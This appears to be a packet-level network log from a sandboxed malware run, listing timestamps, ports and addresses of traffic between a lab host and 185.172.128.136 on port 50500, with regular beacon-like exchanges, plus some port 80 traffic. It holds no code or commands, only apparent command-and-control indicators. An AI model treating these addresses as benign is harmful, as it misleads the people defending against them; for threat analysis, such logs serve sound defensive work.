May 22, 2024 20:06:37.415779114 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.415798903 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.415821075 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.417984009 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.418000937 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.418037891 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.418059111 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.418076992 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.420126915 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.420151949 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.420222044 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.422286987 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.422302008 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.422342062 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.424407959 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.424431086 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.424472094 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.426419020 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.426440001 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.426461935 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.426491976 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.428390980 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.428414106 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.428466082 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.430318117 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.430337906 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.430377007 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.432123899 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.432146072 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.432168961 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.433947086 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.433967113 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.433991909 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.435658932 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.435679913 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.435695887 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.435715914 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.435751915 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.437381983 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.437401056 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.437439919 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.439074039 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.439095974 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.439295053 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.440749884 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.440768957 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.440823078 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.442353010 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.442372084 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.442393064 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.442414045 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.443859100 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.443877935 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.443901062 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.445329905 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.445346117 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.445372105 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.445379019 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.445414066 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.470627069 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.470966101 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.471009016 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.471811056 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.472472906 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.472492933 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.472517014 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.472524881 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.472553015 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.474009037 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.474029064 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.474047899 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.474067926 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.475620031 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.475641966 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.475658894 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.475673914 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.475713015 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.477204084 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.477222919 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.477264881 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.478816032 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.478835106 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.478873014 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.480106115 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.480127096 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.480165005 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.481424093 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.481448889 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.481468916 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.481489897 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.482685089 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.482707024 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.482728958 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.483951092 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.483968019 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.483998060 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.485228062 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.485248089 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.485279083 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.486542940 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.486557961 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.486597061 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.487670898 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.487692118 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.487714052 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.487724066 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.487777948 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.488842010 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.488862038 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.488929033 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.489900112 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.489916086 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.489998102 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.491041899 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.491061926 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.491122961 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.492182970 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.492199898 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.492227077 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.492249966 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.493323088 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.493338108 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.493376017 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.494419098 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.494436026 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.494473934 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.495444059 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.495465994 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.495493889 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.496479034 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.496499062 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.496561050 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.497467995 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.497488022 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.497517109 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.591192007 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.637326956 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.643026114 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.643146992 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:38.267153978 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:06:38.268281937 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:38.273286104 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:06:38.369304895 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:06:38.369469881 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:38.374825954 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:06:40.638367891 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:41.404022932 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:41.409092903 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:06:41.631289005 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:06:41.685218096 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:12.951209068 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:12.956171989 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:13.164496899 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:13.216708899 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:28.404773951 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:28.413481951 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:28.618590117 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:28.670139074 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:34.701940060 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:34.707936049 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:34.914617062 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:34.967017889 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:37.967195034 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:37.972172976 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:38.181005955 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:38.232604980 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:41.232894897 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:41.237989902 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:41.448460102 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:41.498450994 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:45.198134899 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:45.203125000 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:45.415724039 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:45.467053890 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:46.078347921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:07:46.078468084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:07:48.468543053 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:48.473628998 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:48.680763960 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:48.732697010 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:51.717315912 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:51.766156912 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:51.977756977 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:52.029582977 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:55.029860020 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:55.036211967 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:55.253859043 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:55.420269012 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:58.295607090 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:07:58.300576925 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:58.514214039 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:07:58.655025959 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:02.072463989 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:02.077457905 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:02.291642904 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:02.420326948 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:02.467458963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:08:02.474266052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:08:05.342967987 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:05.347971916 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:05.555968046 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:05.735805988 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:08.300539017 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:08.300806046 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:08.305850029 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:11.342402935 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:11.348834991 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:11.555041075 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:11.733052015 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:14.596877098 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:14.602226973 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:14.863631964 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:14.920491934 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:18.094886065 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:18.099880934 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:18.305322886 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:18.420562983 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:21.342732906 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:21.350123882 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:21.595398903 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:21.717518091 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:24.623864889 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:24.629019022 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:24.839955091 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:25.017539024 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:27.890155077 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:27.895447969 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:28.103414059 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:28.182508945 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:31.155231953 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:31.162120104 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:31.367863894 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:31.512706041 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:34.405658007 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:34.411385059 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:34.623701096 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:34.733191967 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:37.671106100 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:37.676418066 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:37.884339094 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:38.030093908 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:40.921549082 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:40.926559925 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:41.133846045 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:41.277262926 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:44.186474085 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:44.191629887 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:44.399991035 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:44.530160904 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:47.452128887 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:47.457369089 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:47.668472052 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:47.733484030 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:50.717979908 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:50.723150015 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:50.940072060 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:51.030508995 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:53.984366894 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:53.989756107 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:54.197920084 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:54.317202091 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:57.249402046 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:08:57.379498005 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:57.466625929 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:08:57.626507998 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:00.514790058 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:00.519720078 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:00.729837894 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:00.877496004 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:03.780827045 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:03.785969973 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:03.996098042 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:04.220338106 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:07.046514988 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:07.059628963 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:07.259915113 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:07.421075106 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:10.313529968 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:10.318589926 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:10.526298046 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:10.717607975 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:13.577390909 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:13.582525015 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:13.791332006 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:13.921159029 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:16.827406883 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:16.832369089 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:17.041178942 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:17.233609915 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:20.093525887 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:20.098649979 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:20.307005882 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:20.530549049 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:23.374416113 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:23.383225918 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:23.589725971 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:23.706583023 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:26.624413967 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:26.635168076 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:26.840758085 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:26.921221972 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:29.890048027 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:29.894992113 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:30.105166912 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:30.233726978 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:33.140182018 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:33.146553993 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:33.353316069 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:33.530631065 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:36.405746937 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:36.412708044 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:36.618943930 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:36.665864944 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:38.314610958 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:38.319000006 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:38.330878973 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:41.358930111 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:41.363934040 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:41.572392941 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:41.733872890 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:44.624720097 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:44.629981041 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:44.838022947 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:44.981236935 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:47.877652884 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:47.884257078 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:48.091454029 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:48.233942986 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:51.124634981 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:51.129620075 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:51.338573933 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:51.399421930 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:54.375957012 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:54.384691000 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:54.588902950 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:54.733954906 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:57.625386953 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:09:57.633577108 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:57.838917971 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:09:57.921488047 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:10:00.890393972 CEST	49709	50500	192.168.2.6	185.172.128.136
